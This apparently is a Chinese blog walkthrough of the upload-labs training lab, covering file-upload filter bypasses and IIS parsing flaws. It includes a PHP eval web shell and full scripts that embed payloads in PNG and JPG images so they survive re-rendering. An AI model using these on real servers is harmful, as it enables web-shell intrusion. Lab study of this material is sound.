upload-labs 通關

1.Pass-01(前端驗證繞過)

上傳一個php文件,提示

在這裏插入圖片描述
用burp抓包發現並沒有發送數據包

判斷是前端驗證

上傳一個圖片馬

burp抓包,把文件名jpg改成php

在這裏插入圖片描述

用蟻劍連接成功

在這裏插入圖片描述

2.Pass-02(Content-Type方式繞過)

burp抓包,改請求頭中的Content-Type爲image/jpeg

在這裏插入圖片描述

連接成功

在這裏插入圖片描述

3.Pass-03(黑名單繞過)

burp抓包改後綴名爲php3或phtml,繞過黑名單過濾

4.Pass-04(.htaccess文件繞過)

先上傳.htaccess文件,將jpg格式當作php解析

在這裏插入圖片描述

再上傳圖片馬

在這裏插入圖片描述

5.Pass-05(後綴大小寫繞過)

burp抓包,文件名後綴改爲phP上傳

6.Pass-06(文件後綴(空)繞過)

burp抓包,在文件後綴名最後面添加一個空格
在這裏插入圖片描述

7.Pass-07(文件後綴(點)繞過)

burp抓包,在文件名後綴最後面添加一個”.”

Windows特性,會自動去掉文件名最後面的”.”

8.Pass-08(::$DATA(Windows文件流繞過))

Burp抓包,在文件後綴名後面添加”::$DATA”

Windows文件流特性,會自動刪去後面的”::$DATA”

9.Pass-09(構造文件後綴繞過)

Burp抓包,在文件後綴名後面添加”. .”(點空格點)

函數會先刪除掉”.”,再刪除掉” “,最終上傳的文件爲”s.php.”

Windows特性,會刪掉文件後綴名最後面的”.”

10.Pass-10(雙寫文件後綴繞過)

Burp抓包,該文件後綴名爲”.pphphp”

服務器過濾文件名時,會匹配並刪除”php”字段一次,最終兩端拼接再次構成”.php”

11.Pass-11(%00截斷繞過)

Burp抓包,發現文件路徑

在這裏插入圖片描述

在路徑後面添加”s.php%00”進行截斷,並把文件名改爲s.jpg

在這裏插入圖片描述

連接成功

12.Pass-12(%00截斷繞過(二))

Burp抓包,在數據包中的路徑參數後面添加s.php.

在這裏插入圖片描述

點擊Hex查看數據包的十六進制

把路徑中的最後一個”.”的十六進制”2e”改爲”00”

放包,上傳

13.Pass-13(圖片馬繞過)

製作圖片馬

先新建一個s.php:

<?php @eval($_REQUEST[‘1234’])?>

再分別找s.jpg、s.png、s.gif三種後綴的正常文件

CMD下:
copy s.jpg /b + s.php /a s.jpg

製作一張jpg格式的圖片馬

直接上傳,結合文件包含漏洞進行利用

14.Pass-14(getimagesize圖片類型繞過)

getimagesize()函數:獲取圖像的大小尺寸信息,成功返回一個數組,失敗返回false併產生一條錯誤信息

服務器用getimagesize()函數對上傳文件進行判斷是否爲圖片格式,判斷了圖片大小、尺寸。並返回圖片類型和圖片高度和寬度信息

用圖片馬繞過

15.Pass-15(php_exif模塊圖片類型繞過)

php_exif判斷了圖像的類型,會讀取文件的第一個字節並檢查簽名

用圖片馬繞過

16.Pass-16(二次渲染繞過)

GIF:
找沒有二次渲染的部分
在這裏插入圖片描述

在沒有二次渲染部分插入一句話代碼

在這裏插入圖片描述上傳

下載上傳成功的gif,打開看見一句話依舊存在

在這裏插入圖片描述

PNG:

png圖片繞過二次渲染比較麻煩,可以用腳本製作,也可以在png文件的PLTE數據塊寫入一句話,再重新計算並修改數據塊的CRC值

用腳本製作:

<?php
//用法:命令: php png.php  會生成一個可繞過二次渲染的png圖片
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

在這裏插入圖片描述

直接上傳,查看上傳成功的圖片,發現一句話還存在

在這裏插入圖片描述JPG:

jpg繞過二次渲染需要多次嘗試,因爲並不是每個照片都有空間來插入一句話

用純白色的jpg圖片

先下載已經被渲染過的jpg,再用腳本生成一個帶一句話的jpg

<?php
    /*
    用法:下載二次渲染過的圖片,命名爲1.jpg

    命令: php jpg.php 1.jpg

    */

    $miniPayload = "<?=phpinfo();?>"; //插入代碼


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

上傳

17.Pass-17(條件競爭繞過)

先上傳一個php文件,顯示“只允許上傳.jpg|.png|.gif類型文件”

看源碼
在這裏插入圖片描述
顯示這句話說明應該已經滿足了”if(move_uploaded_file($temp_file, $upload_file))”,說明文件已經上傳成功,只不過沒有滿足過濾條件,所以提示這句話後用unlink()把上傳的文件刪除了

大致思路:用burp爆破模塊不斷上傳一個php文件,內容是生成一個新的一句話php到當前目錄,再用burp同時不斷訪問上傳的這個php文件,在服務器刪除上傳的php文件前先將其執行一遍,生成一個新的php。

先創建test.php:

<?php $txt = ‘<?php phpinfo(); ?>’;file_put_contents(‘su.php’,$txt)?>

用burp爆破模塊不斷進行上傳

再用burp爆破模塊不斷訪問test.php

18.Pass-18(條件競爭(二)):

思路和17關一樣

19.Pass-19(move_uploaded_file()截斷):

利用了php5.4.38-5.6.6版本任意文件上傳漏洞,漏洞編號CVE-2015-2348

上傳一句話,用burp抓包

修改上傳文件名

在這裏插入圖片描述

在Hex中修改php後面的第一個”.”的十六進制爲”00”

在這裏插入圖片描述

放包,連接成功

在這裏插入圖片描述

20.Pass-20(IIS6.0解析漏洞(一))

用到了IIS6.0文件解析漏洞,會將cer格式的文件當作asp解析

看源碼,允許cer格式上傳

在這裏插入圖片描述

把asp一句話寫到gif文件中,上傳

用burp抓包,修改後綴名爲cer

在這裏插入圖片描述
在這裏插入圖片描述

連接成功

在這裏插入圖片描述

21.Pass-21(IIS6.0解析漏洞(二))

用到了IIS6.0後綴解析,當上傳的文件名爲”test.asp;.jpg”或”test.asp:.jpg”這種類型時,會把文件當作asp解析

看源碼,和上一關的區別是不允許cer格式上傳

在這裏插入圖片描述

同樣上傳asp一句話,用burp抓包

改文件後綴名爲

在這裏插入圖片描述

放包,上傳

在這裏插入圖片描述

連接成功

在這裏插入圖片描述

22.Pass-22(IIS6.0解析漏洞(三))

用到了IIS6.0目錄解析漏洞,當上傳文件所在目錄爲”xx.asp”這種類型時,會把該目錄下所有文件都當作asp解析

看源碼,只允許上傳jpg文件,所以上傳一個jpg圖片馬

用burp抓包,改文件名爲

在這裏插入圖片描述

放包,上傳

在這裏插入圖片描述

連接成功

在這裏插入圖片描述

23.Pass-23(解析漏洞(四))

用到了IIS7.0/7.5的CGI解析漏洞,訪問正常文件時,在url欄文件名後面加”/.php”會把這個文件當作php解析

上傳gif圖片馬並訪問該文件

在url欄文件名後面添加”/.php”
在這裏插入圖片描述

連接成功

在這裏插入圖片描述

發佈了27 篇原創文章 · 獲贊 6 · 訪問量 5179
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章